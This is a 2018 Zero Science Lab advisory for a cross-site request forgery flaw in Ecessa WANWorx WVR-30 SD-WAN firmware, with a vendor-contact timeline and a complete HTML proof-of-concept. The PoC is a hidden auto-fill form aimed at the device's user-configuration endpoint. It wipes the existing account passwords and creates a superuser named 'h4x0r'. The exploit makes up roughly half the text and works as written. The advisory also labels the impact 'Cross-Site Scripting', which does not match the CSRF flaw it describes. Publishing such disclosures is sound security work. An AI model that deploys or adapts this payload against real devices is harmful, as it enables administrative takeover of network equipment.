Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit

2018-06-24T00:00:00
ID ZSL-2018-5475
Type zeroscience
Reporter Gjoko Krstic
Modified 2018-06-24T00:00:00

Description

Title: Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit
Advisory ID: ZSL-2018-5475
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 24.06.2018

Summary

Ecessa's WANworX SD-WAN solutions increase network performance and reliability by leveraging any connection. That can be premium priced MPLS, lower cost broadband, or cellular 4G or LTE. Many of today's WAN deployments are based on older technology that was acceptable when businesses did not run at breakneck speed or when operations didn’t grind to a halt when connectivity was disrupted. In today’s cloud-based applications, datacenters and distributed networks, where so much is virtualized and delivered as–a-service, limited bandwidth and network outages don’t just slow productivity, they stop it.

Description

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Ecessa Corporation - <https://www.ecessa.com>

Affected Version

10.7.4
10.6.9
10.7.4
10.6.5.2
10.5.4
10.2.24
9.2.24

Tested On

lighttpd/1.4.35

Vendor Status

[21.05.2018] Vulnerability discovered.
[21.05.2018] Contact with the vendor.
[23.06.2018] No response from the vendor.
[24.06.2018] Public security advisory released.

PoC

ecessa_wanworx_csrf.html

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://cxsecurity.com/issue/WLB-2018060286>
[2] <https://exchange.xforce.ibmcloud.com/vulnerabilities/145438>
[3] <https://www.exploit-db.com/exploits/44936/>
[4] <https://packetstormsecurity.com/files/148303>

Changelog

[24.06.2018] - Initial release
[11.07.2018] - Added reference [1], [2], [3] and [4]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            &lt;!--

Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit


Vendor: Ecessa Corporation
Product web page: https://www.ecessa.com
Affected version: 10.7.4
                  10.6.9
                  10.7.4
                  10.6.5.2
                  10.5.4
                  10.2.24
                  9.2.24

Summary: Ecessa's WANworX SD-WAN solutions increase network performance and
reliability by leveraging any connection. That can be premium priced MPLS,
lower cost broadband, or cellular 4G or LTE. Many of today’s WAN deployments
are based on older technology that was acceptable when businesses did not run
at breakneck speed or when operations didn’t grind to a halt when connectivity
was disrupted. In today’s cloud-based applications, datacenters and distributed
networks, where so much is virtualized and delivered as–a-service, limited
bandwidth and network outages don’t just slow productivity, they stop it.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.35


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5475
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5475.php


21.05.2018

--&gt;


&lt;html&gt;
  &lt;body&gt;
    &lt;form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST"&gt;
      &lt;input type="hidden" name="savecrtcfg" value="checked" /&gt;
      &lt;input type="hidden" name="user_username1" value="root" /&gt;
      &lt;input type="hidden" name="user_enabled1" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd1" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify1" value="" /&gt;
      &lt;input type="hidden" name="user_delete1" value="" /&gt;
      &lt;input type="hidden" name="user_username2" value="admin" /&gt;
      &lt;input type="hidden" name="user_passwd2" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify2" value="" /&gt;
      &lt;input type="hidden" name="user_delete2" value="" /&gt;
      &lt;input type="hidden" name="user_username3" value="user" /&gt;
      &lt;input type="hidden" name="user_enabled3" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd3" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify3" value="" /&gt;
      &lt;input type="hidden" name="user_delete3" value="" /&gt;
      &lt;input type="hidden" name="user_username4" value="h4x0r" /&gt;
      &lt;input type="hidden" name="user_enabled4" value="on" /&gt;
      &lt;input type="hidden" name="user_superuser4" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd4" value="123123" /&gt;
      &lt;input type="hidden" name="user_passwd_verify4" value="123123" /&gt;
      &lt;input type="hidden" name="users_num" value="4" /&gt;
      &lt;input type="hidden" name="page" value="util_configlogin" /&gt;
      &lt;input type="hidden" name="val_requested_page" value="user_accounts" /&gt;
      &lt;input type="hidden" name="savecrtcfg" value="checked" /&gt;
      &lt;input type="hidden" name="page_uuid" value="73f90fa3-2e60-4fd7-a792-1ff6c7513d92" /&gt;
      &lt;input type="hidden" name="form_has_changed" value="1" /&gt;
      &lt;input type="submit" value="Supersize!" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;